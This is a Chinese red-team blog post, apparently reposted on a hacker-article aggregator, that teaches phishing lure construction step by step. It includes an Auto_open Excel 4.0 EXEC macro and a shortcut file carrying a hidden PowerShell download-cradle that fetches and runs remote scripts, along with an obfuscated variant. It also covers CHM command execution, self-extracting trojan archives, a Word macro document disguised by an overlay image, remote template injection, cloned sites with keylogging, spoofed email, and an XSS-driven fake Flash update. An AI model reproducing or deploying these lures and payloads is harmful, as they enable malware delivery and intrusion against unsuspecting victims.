记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

红队技巧-网络钓鱼

2021-02-20 13:30


点击蓝字关注我哦






前言

涵盖了现在大多数红队钓鱼的手法,一直以来钓鱼配合免杀,更能出奇制胜!



1. excel宏执行任意命令

新建一个exel表,然后打开,对准这个右键点击插入宏。

然后在第一切换到宏,复制粘贴如下语句:

=EXEC("notepad")=HALT()

必须带=HALT(),不然虽然命令执行了,但会报错,容易露馅!

然后测试一下,选中语句,右键,点击执行:

就会弹出notepad:

通过msf生成msi文件,python开启http服务,然后替换命令为攻击载荷,右键隐藏宏,并把文件执行方式改为

Auto_open,直接复制粘贴,按一下enter就行了

然后另存,2016版本记得点击否,然后得选择一个启用宏的文件,远方服务器监听:

就欧克了,当然这里肯定不止这个msi文件,都能执行命令了,该怎么利用,你懂的!

2 Link钓鱼:

随便选择一个应用或者文件,右键点击创建快捷方式,右键打开属性:

我们需要更改目标这里的目标,这里的目标路径改成我们的攻击载荷,下面的起始位置可以不更改,基本上没啥影响。

修改:

C:\Windows\System32\cmd.exe /c powershell -nop -w hidden -exec bypass - -c "IEX((New-Object System.Net.WebClient).DownloadString('//192.168.1.109/1.ps1'))

选择更改图标,因为我这里改成了cmd,快捷方式对应的图标也会更改为cmd,需要更改一下图标,查找图标路径改成shell32.dll 这里存放这windows系统所以的图标,不建议去自己加,因为你要发送给受害者,不能保证受害者电脑上有此图标

然后再改一下快捷方式名字,比如像我这样,必须得诱人一点!

那么一个link 钓鱼就完成了,但是这个放出去杀软立马干死,好人做到底,再来个过静态的免杀语句混淆。

cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN ('set^|findstr PSM')DO %a IEX (New-ObjectNet.WebClient).DownloadString('http://bit.ly/L3g1t')"


3 CHM文档钓鱼:

新建一个文件夹,新建一个index.html,文件内容为

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

然后打开Easy CHM程序,新建,浏览,选择我们建立好的目录,然后确定:

然后点击编译,然后就会生成一个chm文档

那么我们这里只需要打开这个文件,就会执行里面的命令

从代码上来看,chm文件是可以执行js代码的,那么就可以配合jsbackdoor 来进行权限获取,这里推荐一个项目:

https://github.com/Ridter/MyJSRat

一个py版本的JSbackdoor

4.文件钓鱼

钓鱼方式的开山鼻祖,很古老了,原理就是利用一般人是不会打开显示已知的文件扩展名,而windows正常情况下不会显示已知的文件扩展名,但是从事信息安全的人员一般都打开了的。

这里制作也挺简单的,只需要更换一个图标就行,这里先用cs随便生成一个exe


然后我把显示已知的文件扩展名关掉

首先把exe文件拖到resource hacker里,成功后面显示文件名,然后点击增加一个资源



然后选择ico图标


然后点击保存即可


那么就成了鸭!

5. 自解压钓鱼

我这里就用刚刚改好的木马了,创建自解压文件:


点击高级,自解压选项,常规,设置自解压路径


点击设置,设置解压后运行文件的路径


模式选择全部隐藏


更新设置成覆盖所有文件,保证二次自解压不报错,不会引起怀疑

然后修改文件名和图标进行伪装就欧克了

6.word宏钓鱼

新建一个word,打开,然后点击视图,宏,查看宏,选择当前文档,点击创建

然后cs生成宏代码,复制粘贴进去

然后另存为docm文档?你以为就这样?

NO,咱们玩骚一点,我在网上随便找了个模板复制粘贴进去,然后截图,另存为

打开我们的神器,美图秀秀,打开我们刚截图的图片,点击背景虚拟化,调整虚拟化程度,最好是那种弱影弱现的感觉最nice,然后加上一些说明嗷

然后设置图片尺寸为790,1120

然后保存,然后就可以看到效果了

为什么会设置成790x1120嘞,只是为了刚好覆盖word里面的文本,然后docx文档另存为doc文档

然后打开,去开启显示开发者工具选项卡,文件->选项->自定义功能区->主选项卡->开发者工具

然后点击开发者工具,选择图像(Active控件)

设置图像格式为浮于文字上方,并把图像拉满

效果就是这样,会把文字全部覆盖

然后点击图像属性,设置成我们做好的图片,然后点击宏创建宏,cs生成宏木马

复制粘贴,在Auto_Open()函数首部编写代码,设置图片位置为0高度为0让宏运行后doc上图片消失,然后保存,office马就制作好了

Project.ThisDocument.Image1.Top = 0
Project.ThisDocument.Image1.Width = 0

成品展示:

那么点击启用宏,图片就好消失,显示出正常的文件来。

还有一种是远程加载的方式,先创建一个带有宏木马的文档另存为dotm后缀当成模板,放在远程服务器上,开启http服务,然后再新建一个模板word,改后缀改成zip,然后解压。

然后找到这个文件settings.xml.rels,编辑

替换成我们远程的宏木马文件的链接:

然后再把它压缩了,文件后缀又改回成docx,那么就成了,这种免杀效果要好一点,远程加载嘛。

7.伪造网站钓鱼

那么我们先来看cs中的clone web的模块

填入克隆网站的url,可以选择进行键盘记录,然后点击就能克隆,但是有些网站也克隆不了,受到协议的保护,那么克隆好之后就可以点击进行管理

那么就来讲讲cs中的邮件钓鱼板块

导入收件人,这里邮件和名字一定要用tab键分开,再导入模板的文件的时候,去选择一封你需要伪造的正常文件,然后点击选择显示文件原文,复制粘贴就行,achment就是附件,可以加入你的免杀马,word,什么的,embed项就是点击之后要跳转的页面,那么可以配合clone web使用,填入我们cs服务器克隆的网站url,然后就是设置邮件服务器。

Bounce to 选项就是你伪造好的邮箱,你可以伪造成admin@qq.com什么的,但是大多数邮件服务器有防御,会显示代发人,发之前还可以点击Preview进行预览

再来给flash钓鱼网站,当我们找到一个网站的后台,顺利进去了,但是任何getshell的点,就只找到一个xss,那么如何getshell嘞?这时候就来一波flash钓鱼把

建立网站

我们找到index.html中的立即下载所在的标签,url替换成我们的木马下载链接

那么我们如何让管理员重定向过来?这里新建一个js文件,文件内容如下,然后我们的xss脚本调用这段js文件

window.alert = function(name) {   var iframe = document.createElement("IFRAME");   iframe.style.display="none";   iframe.setAttribute("src",'data:text/plain,');   document.documentElement.appendChild(iframe);   window.frames[0].window.alert(name);   iframe.parentNode.removeChild(iframe);}alert("您的flash版本过低,尝试升级后访问该页面!");window.location.href="http://www.xxx.com"
<script src="http://www.abc.flash.com.cn/redirection.js"></script>

当然为了保险起见,我们得配合自解压钓鱼,现在压缩的是两个文件,一个是木马文件,另一个是flash正常安装程序,两个文件都得执行,通过修改资源图标,伪装成flash安装程序,

就可以getshell了!

8.unicode反转文件后缀钓鱼

Unicode(中文:万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字。而如上技术正是使用了Unicode的RLO(开始从左向右覆盖),Unicode定义的 Start of right-to-left override,控制字符是RLO,ASCII码是0x3F。只要在一行字符前面加上一个0x3F就可以实现文本的反向排列。这个0x3F是Unicode为了兼容阿拉伯文字从左至右的阅读习惯设计的一个转义字符。

选择木马,重命名,然后点击插入unicode控制字符

完成之后


END



看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!

扫码关注我们


扫码领hacker资料,常用工具,以及各种福利


转载是一种动力 分享是一种美德

   


知识来源: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247487419&idx=1&sn=06f9f8934611cce555d9bd76464f404f

阅读:84456 | 评论:0 | 标签:钓鱼

想收藏或者和大家分享这篇好文章→复制链接地址

“红队技巧-网络钓鱼”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云